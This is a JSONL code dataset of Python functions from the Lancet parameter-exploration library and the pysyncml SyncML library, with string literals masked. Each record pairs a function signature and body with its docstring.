{"signature": "def __call__(self, paths=[], **params_to_override):", "body": "p=param.ParamOverrides(self, dict(params_to_override, paths=paths))<EOL>if p.paths == []:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>paths = [p.paths] if isinstance(p.paths, str) else p.paths<EOL>def _desc(path, ind):<EOL><INDENT>for vcs in p.commands.keys():<EOL><INDENT>if os.path.exists(os.path.join(path, vcs)):<EOL><INDENT>proc = subprocess.Popen(p.commands[vcs][ind],<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE, cwd=path)<EOL>return str(proc.communicate()[<NUM_LIT:0>].decode()).strip()<EOL><DEDENT><DEDENT><DEDENT>abspaths = [os.path.abspath(path) for path in paths]<EOL>return {'<STR_LIT>' : dict((path, _desc(path,<NUM_LIT:0>)) for path in abspaths),<EOL>'<STR_LIT>':  dict((path, _desc(path,<NUM_LIT:1>)) for path in abspaths),<EOL>'<STR_LIT>':     dict((path, _desc(path,<NUM_LIT:2>)) for path in abspaths)}<EOL>", "docstring": "Takes a single path string or a list of path strings and\nreturns the corresponing version control information.", "id": "f12321:c0:m0"}
{"signature": "def set_fp_precision(value):", "body": "Arguments.set_default('<STR_LIT>', value)<EOL>", "docstring": "Function to set the floating precision across lancet.", "id": "f12322:m2"}
{"signature": "def to_table(args, vdims=[]):", "body": "if not Table:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>kdims = [dim for dim in args.constant_keys + args.varying_keys<EOL>if dim not in vdims]<EOL>items = [tuple([spec[k] for k in kdims+vdims])<EOL>for spec in args.specs]<EOL>return Table(items, kdims=kdims, vdims=vdims)<EOL>", "docstring": "Helper function to convet an Args object to a HoloViews Table", "id": "f12322:m3"}
{"signature": "def pprint_args(self, pos_args, keyword_args, infix_operator=None, extra_params={}):", "body": "if infix_operator and not (len(pos_args)==<NUM_LIT:2> and keyword_args==[]):<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>(kwargs,_,_,_) = self._pprint_args<EOL>self._pprint_args = (keyword_args + kwargs, pos_args, infix_operator, extra_params)<EOL>", "docstring": "Method to define the positional arguments and keyword order\nfor pretty printing.", "id": "f12322:c0:m0"}
{"signature": "def _pprint(self, cycle=False, flat=False, annotate=False, onlychanged=True, level=<NUM_LIT:1>, tab = '<STR_LIT:U+0020>'):", "body": "(kwargs, pos_args, infix_operator, extra_params) = self._pprint_args<EOL>(br, indent)  = ('<STR_LIT>' if flat else '<STR_LIT:\\n>', '<STR_LIT>' if flat else tab * level)<EOL>prettify = lambda x: isinstance(x, PrettyPrinted) and not flat<EOL>pretty = lambda x: x._pprint(flat=flat, level=level+<NUM_LIT:1>) if prettify(x) else repr(x)<EOL>params = dict(self.get_param_values())<EOL>show_lexsort = getattr(self, '<STR_LIT>', None) is not None<EOL>modified = [k for (k,v) in self.get_param_values(onlychanged=onlychanged)]<EOL>pkwargs = [(k, params[k])  for k in kwargs if (k in modified)] + list(extra_params.items())<EOL>arg_list = [(k,params[k]) for k in pos_args] + pkwargs<EOL>lines = []<EOL>if annotate: <EOL><INDENT>len_ckeys, len_vkeys = len(self.constant_keys), len(self.varying_keys)<EOL>info_triple = (len(self),<EOL>'<STR_LIT>' % len_ckeys if len_ckeys else '<STR_LIT>',<EOL>'<STR_LIT>'  % len_vkeys if len_vkeys else '<STR_LIT>')<EOL>annotation = '<STR_LIT>' % info_triple<EOL>lines = [annotation]<EOL><DEDENT>if show_lexsort: lines.append('<STR_LIT:(>')<EOL>if cycle:<EOL><INDENT>lines.append('<STR_LIT>' % self.__class__.__name__)<EOL><DEDENT>elif infix_operator:<EOL><INDENT>level = level - <NUM_LIT:1><EOL>triple = (pretty(params[pos_args[<NUM_LIT:0>]]), infix_operator, pretty(params[pos_args[<NUM_LIT:1>]]))<EOL>lines.append('<STR_LIT>' % triple)<EOL><DEDENT>else:<EOL><INDENT>lines.append('<STR_LIT>' % self.__class__.__name__)<EOL>for (k,v) in arg_list:<EOL><INDENT>lines.append('<STR_LIT>' %  (br+indent, k, pretty(v)))<EOL>lines.append('<STR_LIT:U+002C>')<EOL><DEDENT>lines = lines[:-<NUM_LIT:1>] +[br+(tab*(level-<NUM_LIT:1>))+'<STR_LIT:)>'] <EOL><DEDENT>if show_lexsort:<EOL><INDENT>lines.append('<STR_LIT>' % '<STR_LIT:U+002CU+0020>'.join(repr(el) for el in self._lexorder))<EOL><DEDENT>return '<STR_LIT>'.join(lines)<EOL>", "docstring": "Pretty printer that prints only the modified keywords and\ngenerates flat representations (for repr) and optionally\nannotates the top of the repr with a comment.", "id": "f12322:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def spec_formatter(cls, spec):<DEDENT>", "body": "return type(spec)((k, str(v)) for (k,v) in spec.items())<EOL>", "docstring": "Formats the elements of an argument set appropriately", "id": "f12322:c1:m3"}
{"signature": "@property<EOL><INDENT>def constant_keys(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Returns the list of parameter names whose values are constant\nas the argument specifier is iterated.  Note that the union of\nconstant and varying_keys should partition the entire set of\nkeys in the case where there are no unsortable keys.", "id": "f12322:c1:m4"}
{"signature": "@property<EOL><INDENT>def constant_items(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Returns the set of constant items as a list of tuples. This\nallows easy conversion to dictionary format. Note, the items\nshould be supplied in the same key ordering as for\nconstant_keys for consistency.", "id": "f12322:c1:m5"}
{"signature": "@property<EOL><INDENT>def varying_keys(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Returns the list of parameters whose values vary as the\nargument specifier is iterated.  Whenever it is possible, keys\nshould be sorted from those slowest to faster varying and\nsorted alphanumerically within groups that vary at the same\nrate.", "id": "f12322:c1:m6"}
{"signature": "def __next__(self):", "body": "raise StopIteration<EOL>", "docstring": "Called to get a list of specifications: dictionaries with\nparameter name keys and string values.", "id": "f12322:c1:m8"}
{"signature": "def copy(self):", "body": "return copy.copy(self)<EOL>", "docstring": "Convenience method to avoid using the specifier without\nexhausting it.", "id": "f12322:c1:m9"}
{"signature": "def _collect_by_key(self,specs):", "body": "<EOL>allkeys = itertools.chain.from_iterable(<EOL>[[(k, run[k]) for k in run] for run in specs])<EOL>collection = defaultdict(list)<EOL>for (k,v) in allkeys: collection[k].append(v)<EOL>return collection<EOL>", "docstring": "Returns a dictionary like object with the lists of values\ncollapsed by their respective key. Useful to find varying vs\nconstant keys and to find how fast keys vary.", "id": "f12322:c1:m10"}
{"signature": "def __add__(self, other):", "body": "return self._operator(Concatenate, other)<EOL>", "docstring": "Concatenates two argument specifiers.", "id": "f12322:c1:m12"}
{"signature": "def __mul__(self, other):", "body": "return self._operator(CartesianProduct, other)<EOL>", "docstring": "Takes the Cartesian product of two argument specifiers.", "id": "f12322:c1:m13"}
{"signature": "def _cartesian_product(self, first_specs, second_specs):", "body": "return  [ dict(zip(<EOL>list(s1.keys()) + list(s2.keys()),<EOL>list(s1.values()) + list(s2.values())<EOL>))<EOL>for s1 in first_specs for s2 in second_specs ]<EOL>", "docstring": "Takes the Cartesian product of the specifications. Result will\ncontain N specifications where N = len(first_specs) *\nlen(second_specs) and keys are merged.\nExample: [{'a':1},{'b':2}] * [{'c':3},{'d':4}] =\n[{'a':1,'c':3},{'a':1,'d':4},{'b':2,'c':3},{'b':2,'d':4}]", "id": "f12322:c1:m14"}
{"signature": "def summary(self):", "body": "print(\"<STR_LIT>\" % len(self))<EOL>varying_keys = '<STR_LIT:U+002CU+0020>'.join('<STR_LIT>' % k for k in self.varying_keys)<EOL>print(\"<STR_LIT>\" % varying_keys)<EOL>items = '<STR_LIT:U+002CU+0020>'.join(['<STR_LIT>' % (k,v)<EOL>for (k,v) in self.constant_items])<EOL>if self.constant_items:<EOL><INDENT>print(\"<STR_LIT>\" % items)<EOL><DEDENT>", "docstring": "A succinct summary of the argument specifier. Unlike the repr,\na summary does not have to be complete but must supply the\nmost relevant information about the object to the user.", "id": "f12322:c1:m15"}
{"signature": "def _build_specs(self, specs, kwargs, fp_precision):", "body": "if specs is None:<EOL><INDENT>overrides = param.ParamOverrides(self, kwargs,<EOL>allow_extra_keywords=True)<EOL>extra_kwargs = overrides.extra_keywords()<EOL>kwargs = dict([(k,v) for (k,v) in kwargs.items()<EOL>if k not in extra_kwargs])<EOL>rounded_specs = list(self.round_floats([extra_kwargs],<EOL>fp_precision))<EOL>if extra_kwargs=={}: return [], kwargs, True<EOL>else:                return rounded_specs, kwargs, False<EOL><DEDENT>return list(self.round_floats(specs, fp_precision)), kwargs, True<EOL>", "docstring": "Returns the specs, the remaining kwargs and whether or not the\nconstructor was called with kwarg or explicit specs.", "id": "f12322:c3:m1"}
{"signature": "def _unique(self, sequence, idfun=repr):", "body": "seen = {}<EOL>return [seen.setdefault(idfun(e),e) for e in sequence<EOL>if idfun(e) not in seen]<EOL>", "docstring": "Note: repr() must be implemented properly on all objects. This\nis implicitly assumed by Lancet when Python objects need to be\nformatted to string representation.", "id": "f12322:c3:m4"}
{"signature": "def show(self, exclude=[]):", "body": "ordering = self.constant_keys + self.varying_keys<EOL>spec_lines = ['<STR_LIT:U+002CU+0020>'.join(['<STR_LIT>' % (k, s[k]) for k in ordering<EOL>if (k in s) and (k not in exclude)])<EOL>for s in self.specs]<EOL>print('<STR_LIT:\\n>'.join(['<STR_LIT>' % (i,l) for (i,l) in enumerate(spec_lines)]))<EOL>", "docstring": "Convenience method to inspect the available argument values in\nhuman-readable format. The ordering of keys is determined by\nhow quickly they vary.\n\nThe exclude list allows specific keys to be excluded for\nreadability (e.g. to hide long, absolute filenames).", "id": "f12322:c3:m5"}
{"signature": "def lexsort(self, *order):", "body": "if order == []:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if not set(el[<NUM_LIT:1>:] for el in order).issubset(set(self.varying_keys)):<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>sorted_args = copy.deepcopy(self)<EOL>specs_param = sorted_args.params('<STR_LIT>')<EOL>specs_param.constant = False<EOL>sorted_args.specs = self._lexsorted_specs(order)<EOL>specs_param.constant = True<EOL>sorted_args._lexorder = order<EOL>return sorted_args<EOL>", "docstring": "The lexical sort order is specified by a list of string\narguments. Each string is a key name prefixed by '+' or '-'\nfor ascending and descending sort respectively. If the key is\nnot found in the operand's set of varying keys, it is ignored.", "id": "f12322:c3:m6"}
{"signature": "def _lexsorted_specs(self, order):", "body": "specs = self.specs[:]<EOL>if not all(el[<NUM_LIT:0>] in ['<STR_LIT:+>', '<STR_LIT:->'] for el in order):<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>sort_cycles = [(el[<NUM_LIT:1>:], True if el[<NUM_LIT:0>]=='<STR_LIT:+>' else False)<EOL>for el in reversed(order)<EOL>if el[<NUM_LIT:1>:] in self.varying_keys]<EOL>for (key, ascending) in sort_cycles:<EOL><INDENT>specs = sorted(specs, key=lambda s: s.get(key, None),<EOL>reverse=(not ascending))<EOL><DEDENT>return specs<EOL>", "docstring": "A lexsort is specified using normal key string prefixed by '+'\n(for ascending) or '-' for (for descending).\n\nNote that in Python 2, if a key is missing, None is returned\n(smallest Python value). In Python 3, an Exception will be\nraised regarding comparison of heterogenous types.", "id": "f12322:c3:m7"}
{"signature": "def linspace(self, start, stop, n):", "body": "if n == <NUM_LIT:1>: return [start]<EOL>L = [<NUM_LIT:0.0>] * n<EOL>nm1 = n - <NUM_LIT:1><EOL>nm1inv = <NUM_LIT:1.0> / nm1<EOL>for i in range(n):<EOL><INDENT>L[i] = nm1inv * (start*(nm1 - i) + stop*i)<EOL><DEDENT>return L<EOL>", "docstring": "Simple replacement for numpy linspace", "id": "f12322:c6:m1"}
{"signature": "@staticmethod<EOL><INDENT>def extract_log(log_path, dict_type=dict):<DEDENT>", "body": "log_path = (log_path if os.path.isfile(log_path)<EOL>else os.path.join(os.getcwd(), log_path))<EOL>with open(log_path,'<STR_LIT:r>') as log:<EOL><INDENT>splits = (line.split() for line in log)<EOL>uzipped = ((int(split[<NUM_LIT:0>]), json.loads(\"<STR_LIT:U+0020>\".join(split[<NUM_LIT:1>:]))) for split in splits)<EOL>szipped = [(i, dict((str(k),v) for (k,v) in d.items())) for (i,d) in uzipped]<EOL><DEDENT>return dict_type(szipped)<EOL>", "docstring": "Parses the log file generated by a launcher and returns\ndictionary with tid keys and specification values.\n\nOrdering can be maintained by setting dict_type to the\nappropriate constructor (i.e. OrderedDict). Keys are converted\nfrom unicode to strings for kwarg use.", "id": "f12322:c8:m0"}
{"signature": "@staticmethod<EOL><INDENT>def write_log(log_path, data, allow_append=True):<DEDENT>", "body": "append = os.path.isfile(log_path)<EOL>islist = isinstance(data, list)<EOL>if append and not allow_append:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>'<STR_LIT>' % log_path)<EOL><DEDENT>if not (islist or isinstance(data, Args)):<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>specs = data if islist else data.specs<EOL>if not all(isinstance(el,dict) for el in specs):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>log_file = open(log_path, '<STR_LIT>') if append else open(log_path, '<STR_LIT:w>')<EOL>start = int(log_file.readlines()[-<NUM_LIT:1>].split()[<NUM_LIT:0>])+<NUM_LIT:1> if append else <NUM_LIT:0><EOL>ascending_indices = range(start, start+len(data))<EOL>log_str = '<STR_LIT:\\n>'.join(['<STR_LIT>' % (tid, json.dumps(el))<EOL>for (tid, el) in zip(ascending_indices,specs)])<EOL>log_file.write(\"<STR_LIT:\\n>\"+log_str if append else log_str)<EOL>log_file.close()<EOL>", "docstring": "Writes the supplied specifications to the log path. The data\nmay be supplied as either as a an Args or as a list of\ndictionaries.\n\nBy default, specifications will be appropriately appended to\nan existing log file. This can be disabled by setting\nallow_append to False.", "id": "f12322:c8:m1"}
{"signature": "@classmethod<EOL><INDENT>def directory(cls, directory, root=None, extension=None, **kwargs):<DEDENT>", "body": "root = os.getcwd() if root is None else root<EOL>suffix = '<STR_LIT>' if extension is None else '<STR_LIT:.>' + extension.rsplit('<STR_LIT:.>')[-<NUM_LIT:1>]<EOL>pattern = directory + os.sep + '<STR_LIT:*>' + suffix<EOL>key = os.path.join(root, directory,'<STR_LIT:*>').rsplit(os.sep)[-<NUM_LIT:2>]<EOL>format_parse = list(string.Formatter().parse(key))<EOL>if not all([el is None for el in zip(*format_parse)[<NUM_LIT:1>]]):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return cls(key, pattern, root, **kwargs)<EOL>", "docstring": "Load all the files in a given directory selecting only files\nwith the given extension if specified. The given kwargs are\npassed through to the normal constructor.", "id": "f12322:c9:m0"}
{"signature": "def fields(self):", "body": "parse = list(string.Formatter().parse(self.pattern))<EOL>return [f for f in zip(*parse)[<NUM_LIT:1>] if f is not None]<EOL>", "docstring": "Return the fields specified in the pattern using Python's\nformatting mini-language.", "id": "f12322:c9:m2"}
{"signature": "def _load_expansion(self, key, root, pattern):", "body": "path_pattern = os.path.join(root, pattern)<EOL>expanded_paths = self._expand_pattern(path_pattern)<EOL>specs=[]<EOL>for (path, tags) in expanded_paths:<EOL><INDENT>filelist = [os.path.join(path,f) for f in os.listdir(path)] if os.path.isdir(path) else [path]<EOL>for filepath in filelist:<EOL><INDENT>specs.append(dict(tags,**{key:os.path.abspath(filepath)}))<EOL><DEDENT><DEDENT>return sorted(specs, key=lambda s: s[key])<EOL>", "docstring": "Loads the files that match the given pattern.", "id": "f12322:c9:m3"}
{"signature": "def _expand_pattern(self, pattern):", "body": "(globpattern, regexp, fields, types) = self._decompose_pattern(pattern)<EOL>filelist = glob.glob(globpattern)<EOL>expansion = []<EOL>for fname in filelist:<EOL><INDENT>if fields == []:<EOL><INDENT>expansion.append((fname, {}))<EOL>continue<EOL><DEDENT>match = re.match(regexp, fname)<EOL>if match is None: continue<EOL>match_items = match.groupdict().items()<EOL>tags = dict((k,types.get(k, str)(v)) for (k,v) in match_items)<EOL>expansion.append((fname, tags))<EOL><DEDENT>return expansion<EOL>", "docstring": "From the pattern decomposition, finds the absolute paths\nmatching the pattern.", "id": "f12322:c9:m4"}
{"signature": "def _decompose_pattern(self, pattern):", "body": "sep = '<STR_LIT>'<EOL>float_codes = ['<STR_LIT:e>','<STR_LIT:E>','<STR_LIT:f>', '<STR_LIT:F>','<STR_LIT:g>', '<STR_LIT>', '<STR_LIT:n>']<EOL>typecodes = dict([(k,float) for k in float_codes]<EOL>+ [('<STR_LIT:b>',bin), ('<STR_LIT:d>',int), ('<STR_LIT:o>',oct), ('<STR_LIT:x>',hex)])<EOL>parse = list(string.Formatter().parse(pattern))<EOL>text, fields, codes, _ = zip(*parse)<EOL>types = []<EOL>for (field, code) in zip(fields, codes):<EOL><INDENT>if code in ['<STR_LIT>', None]: continue<EOL>constructor =  typecodes.get(code[-<NUM_LIT:1>], None)<EOL>if constructor: types += [(field, constructor)]<EOL><DEDENT>stars =  ['<STR_LIT>' if not f else '<STR_LIT:*>' for f in fields]<EOL>globpat = '<STR_LIT>'.join(text+star for (text,star) in zip(text,stars))<EOL>refields = ['<STR_LIT>' if not f else sep+('<STR_LIT>'% f)+sep for f in fields]<EOL>parts = '<STR_LIT>'.join(text+group for (text,group) in zip(text, refields)).split(sep)<EOL>for i in range(<NUM_LIT:0>, len(parts), <NUM_LIT:2>): parts[i] = re.escape(parts[i])<EOL>regexp_pattern = '<STR_LIT>'.join(parts).replace('<STR_LIT>','<STR_LIT>')<EOL>fields = list(f for f in fields if f)<EOL>return globpat, regexp_pattern , fields, dict(types)<EOL>", "docstring": "Given a path pattern with format declaration, generates a\nfour-tuple (glob_pattern, regexp pattern, fields, type map)", "id": "f12322:c9:m5"}
{"signature": "@classmethod<EOL><INDENT>def from_pattern(cls, pattern, filetype=None, key='<STR_LIT:filename>', root=None, ignore=[]):<DEDENT>", "body": "filepattern = FilePattern(key, pattern, root=root)<EOL>if FileInfo.filetype and filetype is None:<EOL><INDENT>filetype = FileInfo.filetype<EOL><DEDENT>elif filetype is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>return FileInfo(filepattern, key, filetype, ignore=ignore)<EOL>", "docstring": "Convenience method to directly chain a pattern processed by\nFilePattern into a FileInfo instance.\n\nNote that if a default filetype has been set on FileInfo, the\nfiletype argument may be omitted.", "id": "f12322:c10:m1"}
{"signature": "def load(self, val, **kwargs):", "body": "if Table and isinstance(val, Table):<EOL><INDENT>return self.load_table(val, **kwargs)<EOL><DEDENT>elif DataFrame and isinstance(val, DataFrame):<EOL><INDENT>return self.load_dframe(val, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % type(val))<EOL><DEDENT>", "docstring": "Load the file contents into the supplied pandas dataframe or\nHoloViews Table. This allows a selection to be made over the\nmetadata before loading the file contents (may be slow).", "id": "f12322:c10:m3"}
{"signature": "def load_table(self, table):", "body": "items,  data_keys = [], None<EOL>for key, filename in table.items():<EOL><INDENT>data_dict = self.filetype.data(filename[<NUM_LIT:0>])<EOL>current_keys = tuple(sorted(data_dict.keys()))<EOL>values = [data_dict[k] for k in current_keys]<EOL>if data_keys is None:<EOL><INDENT>data_keys = current_keys<EOL><DEDENT>elif data_keys != current_keys:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>items.append((key, values))<EOL><DEDENT>return Table(items, kdims=table.kdims, vdims=data_keys)<EOL>", "docstring": "Load the file contents into the supplied Table using the\nspecified key and filetype. The input table should have the\nfilenames as values which will be replaced by the loaded\ndata. If data_key is specified, this key will be used to index\nthe loaded data to retrive the specified item.", "id": "f12322:c10:m4"}
{"signature": "def load_dframe(self, dframe):", "body": "filename_series = dframe[self.key]<EOL>loaded_data = filename_series.map(self.filetype.data)<EOL>keys = [list(el.keys()) for el in loaded_data.values]<EOL>for key in set().union(*keys):<EOL><INDENT>key_exists = key in dframe.columns<EOL>if key_exists:<EOL><INDENT>self.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % key)<EOL><DEDENT>suffix = '<STR_LIT>' if key_exists else '<STR_LIT>'<EOL>dframe[key+suffix] = loaded_data.map(lambda x: x.get(key, np.nan))<EOL><DEDENT>return dframe<EOL>", "docstring": "Load the file contents into the supplied dataframe using the\nspecified key and filetype.", "id": "f12322:c10:m5"}
{"signature": "def _info(self, source, key, filetype, ignore):", "body": "specs, mdata = [], {}<EOL>mdata_clashes  = set()<EOL>for spec in source.specs:<EOL><INDENT>if key not in spec:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % key)<EOL><DEDENT>mdata = dict((k,v) for (k,v) in filetype.metadata(spec[key]).items()<EOL>if k not in ignore)<EOL>mdata_spec = {}<EOL>mdata_spec.update(spec)<EOL>mdata_spec.update(mdata)<EOL>specs.append(mdata_spec)<EOL>mdata_clashes = mdata_clashes | (set(spec.keys()) & set(mdata.keys()))<EOL><DEDENT>if mdata_clashes:<EOL><INDENT>self.warning(\"<STR_LIT>\")<EOL><DEDENT>return specs<EOL>", "docstring": "Generates the union of the source.specs and the metadata\ndictionary loaded by the filetype object.", "id": "f12322:c10:m6"}
{"signature": "def check_pseudo_package(path):", "body": "if not os.path.isdir(path):<EOL><INDENT>raise Exception(\"<STR_LIT>\" % path)<EOL><DEDENT>else:<EOL><INDENT>assets = os.listdir(path)<EOL>if len(assets) == <NUM_LIT:0>:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % path)<EOL><DEDENT><DEDENT>", "docstring": "Verifies that a fake subpackage path for assets (notebooks, svgs,\npngs etc) both exists and is populated with files.", "id": "f12324:m0"}
{"signature": "def stable(rankings, A, B):", "body": "partners = dict((a, (rankings[(a, <NUM_LIT:1>)], <NUM_LIT:1>)) for a in A)<EOL>is_stable = False <EOL>while is_stable == False:<EOL><INDENT>is_stable = True<EOL>for b in B:<EOL><INDENT>is_paired = False <EOL>for n in range(<NUM_LIT:1>, len(B) + <NUM_LIT:1>):<EOL><INDENT>a = rankings[(b, n)]<EOL>a_partner, a_n = partners[a]<EOL>if a_partner == b:<EOL><INDENT>if is_paired:<EOL><INDENT>is_stable = False<EOL>partners[a] = (rankings[(a, a_n + <NUM_LIT:1>)], a_n + <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>is_paired = True<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return sorted((a, b) for (a, (b, n)) in partners.items())<EOL>", "docstring": "r\"\"\"\n    rankings[(a, n)] = partner that a ranked n^th\n\n    >>> from itertools import product\n    >>> A = ['1','2','3','4','5','6']\n    >>> B = ['a','b','c','d','e','f']\n    >>> rank = dict()\n    >>> rank['1'] = (1,4,2,6,5,3)\n    >>> rank['2'] = (3,1,2,4,5,6)\n    >>> rank['3'] = (1,2,4,3,5,6)\n    >>> rank['4'] = (4,1,2,5,3,6)\n    >>> rank['5'] = (1,2,3,6,4,5)\n    >>> rank['6'] = (2,1,4,3,5,6)\n    >>> rank['a'] = (1,2,3,4,5,6)\n    >>> rank['b'] = (2,1,4,3,5,6)\n    >>> rank['c'] = (5,1,6,3,2,4)\n    >>> rank['d'] = (1,3,2,5,4,6)\n    >>> rank['e'] = (4,1,3,6,2,5)\n    >>> rank['f'] = (2,1,4,3,6,5)\n    >>> Arankings = dict(((a, rank[a][b_]), B[b_]) for (a, b_) in product(A, range(0, 6)))\n    >>> Brankings = dict(((b, rank[b][a_]), A[a_]) for (b, a_) in product(B, range(0, 6)))\n    >>> rankings = Arankings\n    >>> rankings.update(Brankings)\n    >>> stable(rankings, A, B)\n    [('1', 'a'), ('2', 'b'), ('3', 'd'), ('4', 'f'), ('5', 'c'), ('6', 'e')]", "id": "f12331:m2"}
{"signature": "def remove_namespace(doc, namespace):", "body": "ns = u'<STR_LIT>' % namespace<EOL>nsl = len(ns)<EOL>for elem in doc.getiterator():<EOL><INDENT>if elem.tag.startswith(ns):<EOL><INDENT>elem.tag = elem.tag[nsl:]<EOL>elem.attrib['<STR_LIT>'] = namespace<EOL><DEDENT><DEDENT>", "docstring": "Remove namespace in the passed document in place.", "id": "f12332:m0"}
{"signature": "def encode(self, xtree):", "body": "raise NotImplementedError()<EOL>", "docstring": "returns a tuple of (contentType, data)", "id": "f12332:c0:m0"}
{"signature": "def decode(self, contentType, xmldata):", "body": "raise NotImplementedError()<EOL>", "docstring": "Returns an ElementTree document model of `xmldata`, which has been\ndeclared to be of `contentType` format/encoding.", "id": "f12332:c0:m1"}
{"signature": "def __init__(self,<EOL>engine=None, storage=None, prefix='<STR_LIT>', owner=None,<EOL>autoCommit=None,<EOL>router=None, protocol=None, synchronizer=None, codec=None,<EOL>):", "body": "self.autoCommit = autoCommit if autoCommit is not None else engine is None<EOL>self._model = model.createModel(<EOL>engine     = engine,<EOL>storage    = storage,<EOL>prefix     = prefix,<EOL>owner_id   = owner,<EOL>context    = self,<EOL>)<EOL>self.router       = router<EOL>self.protocol     = protocol<EOL>self.synchronizer = synchronizer<EOL>self.codec        = codec<EOL>for attr in dir(self._model):<EOL><INDENT>if attr in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>value = getattr(self._model, attr)<EOL>if issubclass(value.__class__, sqlalchemy.ext.declarative.DeclarativeMeta)and value != self._model.DatabaseObject:<EOL><INDENT>setattr(self, attr, value)<EOL><DEDENT><DEDENT>", "docstring": "The Context constructor accepts the following parameters, of which\nall are optional:\n\n:param owner:\n\n  an integer owner ID. Necessary primarily when the adapter\n  storage is shared between multiple users/adapter agents\n  (i.e. in server contexts). If it is not shared, `owner` can be\n  left as ``None`` (the default).\n\n:param storage:\n\n  the sqlalchemy storage specification where all the SyncML-\n  related data should be stored.\n\n  NOTE: can be overridden by parameter `engine`.\n\n  NOTE: the storage driver **MUST** support cascading deletes;\n  this is done automatically for connections created directly by\n  pysyncml for mySQL and sqlite, but it is up to the calling\n  program to ensure this for other databases or if the database\n  engine is passed in via parameter `engine`. Specifically, when\n  pysyncml creates the sqlalchemy engine (i.e. by calling\n  ``sqlalchemy.create_engine(storage)``), then InnoDB is requested\n  for mySQL tables and ``PRAGMA foreign_keys=ON`` is issued for\n  sqlite databases. pysyncml provides a helper function to ensure\n  that sqlite databases have cascading deletes enabled::\n\n    import sqlalchemy, pysyncml\n    db = sqlalchemy.create_engine(...)\n    pysyncml.enableSqliteCascadingDeletes(db)\n\n:param engine:\n\n  the sqlalchemy storage engine where all the SyncML-related\n  data should be stored.\n\n  NOTE: overrides parameter `storage`.\n\n  NOTE: see notes under parameter `storage` for details on\n  cascading delete support.\n\n  TODO: it would be great to add a check to ensure that provided\n  storage engines have cascading deletes enabled.\n\n:param prefix:\n\n  sets a database table name prefix. This is primarily useful when\n  using the `engine` parameter, as multiple pysyncml contexts can\n  then be defined within the same database namespace. Defaults to\n  ``pysyncml``.\n\n:param autoCommit:\n\n  whether or not to execute a storage engine \"commit\" when syncing\n  is complete. The default behavior is dependent on if `engine` is\n  provided: if not ``None``, then `autoCommit` defaults to\n  ``False``, otherwise, defaults to ``True``.\n\n:param router:\n\n  overrides the default router with an object that must implement\n  the interface specified by :class:`pysyncml.router.Router`.\n\n:param protocol:\n\n  sets the semantic objective to/from protocol evaluation and\n  resolution object, which must implement the\n  :class:`pysyncml.protocol.Protocol` interface.\n\n:param synchronizer:\n\n  this is the engine for handling sync requests and dispatching\n  them to the various agents. If specified, the object must\n  implement the :class:`pysyncml.synchronizer.Synchronizer`\n  interface.\n\n:param codec:\n\n  specify the codec used to encode the SyncML commands - typically\n  either ``\\'xml\\'`` (the default) or ``\\'wbxml\\'``. It can also\n  be an object that implements the :class:`pysyncml.codec.Codec`\n  interface.", "id": "f12334:c0:m0"}
{"signature": "def Adapter(self, **kw):", "body": "try:<EOL><INDENT>ret = self._model.Adapter.q(isLocal=True).one()<EOL>for k, v in kw.items():<EOL><INDENT>setattr(ret, k, v)<EOL><DEDENT><DEDENT>except NoResultFound:<EOL><INDENT>ret = self._model.Adapter(**kw)<EOL>ret.isLocal = True<EOL>self._model.session.add(ret)<EOL>if ret.devID is not None:<EOL><INDENT>self._model.session.flush()<EOL><DEDENT><DEDENT>ret.context       = self<EOL>ret.router        = self.router or router.Router(ret)<EOL>ret.protocol      = self.protocol or protocol.Protocol(ret)<EOL>ret.synchronizer  = self.synchronizer or synchronizer.Synchronizer(ret)<EOL>ret.codec         = self.codec or '<STR_LIT>'<EOL>if isinstance(ret.codec, basestring):<EOL><INDENT>ret.codec = codec.Codec.factory(ret.codec)<EOL><DEDENT>if ret.devID is not None:<EOL><INDENT>peers = ret.getKnownPeers()<EOL>if len(peers) == <NUM_LIT:1> and peers[<NUM_LIT:0>].url is not None:<EOL><INDENT>ret._peer = peers[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": ".. TODO:: move this documentation into model/adapter.py?...\n\nThe Adapter constructor supports the following parameters:\n\n:param devID:\n\n  sets the local adapter\\'s device identifier. For servers, this\n  should be the externally accessible URL that launches the SyncML\n  transaction, and for clients this should be a unique ID, such as\n  the IMEI number (for mobile phones). If not specified, it will\n  be defaulted to the `devID` of the `devinfo` object. If it\n  cannot be loaded from the database or from the `devinfo`, then\n  it must be provided before any synchronization can begin.\n\n:param name:\n\n  sets the local adapter\\'s device name - usually a human-friendly\n  description of this SyncML\\'s function.\n\n:param devinfo:\n\n  sets the local adapter :class:`pysyncml.devinfo.DeviceInfo`.  If\n  not specified, it 